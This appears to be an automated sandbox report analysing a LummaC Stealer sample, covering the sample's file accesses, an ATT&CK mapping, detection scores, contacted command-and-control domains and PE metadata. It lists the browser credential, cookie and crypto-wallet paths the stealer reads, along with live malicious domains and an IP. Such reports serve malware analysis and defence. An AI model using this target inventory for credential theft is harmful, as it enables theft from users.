Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2724, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	411 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hcjt7Ajt5t.exe	55%	ReversingLabs	ByteCode-MSIL.Trojan.LummaStealer
hcjt7Ajt5t.exe	67%	Virustotal		Browse
hcjt7Ajt5t.exe	100%	Avira	TR/Kryptik.ojlaa
hcjt7Ajt5t.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
pushjellysingeywus.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Link
bordersoarmanusjuw.shop	2%	Virustotal	Browse
entitlementappwo.shop	17%	Virustotal	Browse
suitcaseacanehalk.shop	2%	Virustotal	Browse
https://pushjellysingeywus.shop/api	16%	Virustotal	Browse
mealplayerpreceodsju.shop	18%	Virustotal	Browse
pushjellysingeywus.shop	2%	Virustotal	Browse
economicscreateojsu.shop	13%	Virustotal	Browse
absentconvicsjawun.shop	2%	Virustotal	Browse
wifeplasterbakewis.shop	2%	Virustotal	Browse
https://pushjellysingeywus.shop/apip	10%	Virustotal	Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pushjellysingeywus.shop	172.67.217.241	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pushjellysingeywus.shop/api	true	16%, Virustotal, Browse	unknown
pushjellysingeywus.shop	true	2%, Virustotal, Browse	unknown
bordersoarmanusjuw.shop	true	2%, Virustotal, Browse	unknown
suitcaseacanehalk.shop	true	2%, Virustotal, Browse	unknown
entitlementappwo.shop	true	17%, Virustotal, Browse	unknown
economicscreateojsu.shop	true	13%, Virustotal, Browse	unknown
mealplayerpreceodsju.shop	true	18%, Virustotal, Browse	unknown
absentconvicsjawun.shop	true	2%, Virustotal, Browse	unknown
wifeplasterbakewis.shop	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pushjellysingeywus.shop/Oi	RegAsm.exe, 00000002.00000002.2116400194.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://pushjellysingeywus.shop/apip	RegAsm.exe, 00000002.00000002.2116400194.00000000032EE000.00000004.00000800.00020000.00000000.sdmp	false	10%, Virustotal, Browse	unknown
https://pushjellysingeywus.shop/l	RegAsm.exe, 00000002.00000002.2116014164.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.217.241	pushjellysingeywus.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427170
Start date and time:	2024-04-17 07:14:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hcjt7Ajt5t.exe renamed because original name is a hash value
Original Sample Name:	d05ddc72d9c4fae1ee83e9ac16275afc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 36 Number of non-executed functions: 37
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:14:52	API Interceptor	8x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.217.241	SMC PO 1083 SAJ 1946 .exe	Get hash	malicious	Lokibot	Browse	greenbazaar.xyz/blac/panel/five/fre.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	45brrQrxwH.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Quotation 0048484.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	3otr19d5Oq.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.77.31
	msXkgFIUyS.rtf	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	http://bookstopbuzz.com	Get hash	malicious	Unknown	Browse	23.227.38.65
	remittance payment of invoice DMWW24009.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.177.98
	NOA, BL and invoice.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Hays_compiled_documents.ZIP.js	Get hash	malicious	Unknown	Browse	104.21.95.148
	https://telegra.ph/Stephen-M-Hickey-04-10	Get hash	malicious	HTMLPhisher	Browse	172.66.47.93

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.217.241
	Hays_compiled_documents.ZIP.js	Get hash	malicious	Unknown	Browse	172.67.217.241
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	172.67.217.241
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.217.241
	SecuriteInfo.com.FileRepMalware.18165.2747.exe	Get hash	malicious	Unknown	Browse	172.67.217.241
	SecuriteInfo.com.FileRepMalware.18165.2747.exe	Get hash	malicious	Unknown	Browse	172.67.217.241
	20240416-703661.cmd	Get hash	malicious	DBatLoader	Browse	172.67.217.241
	20240416-703661.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine	Browse	172.67.217.241
	hta.hta	Get hash	malicious	Unknown	Browse	172.67.217.241
	2.hta	Get hash	malicious	Unknown	Browse	172.67.217.241

Process:	C:\Users\user\Desktop\hcjt7Ajt5t.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.989589899095504
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	hcjt7Ajt5t.exe
File size:	315'904 bytes
MD5:	d05ddc72d9c4fae1ee83e9ac16275afc
SHA1:	852e1078974794aeaa40a74201efce257987be2c
SHA256:	7d233935547785aa757807b0a483b8ac5fe9195297f0fc0f53d29931b9dbbfda
SHA512:	3b0f662f28fa449146159da4821e0f6004edb57506159f8ac2bedd8a45e771bcfcb696c2f6a59a1df0c80099bb83c6a7d11542280ff411bba2397799a943a587
SSDEEP:	6144:j11lb/L51L7HCaspEUi48UgZUbTtg/N0inheNH1e8EtlcjItq0a0:x/X/f418UgZUG10iOVM0
TLSH:	0164234FC2E96932F6ADC57253B4425B59F1D86038148FA5B428B0FEB3AB7538C0725E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............f2... ........@.. .......................@............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x403266
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFFA68CF6 [Tue Dec 1 10:05:42 2105 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
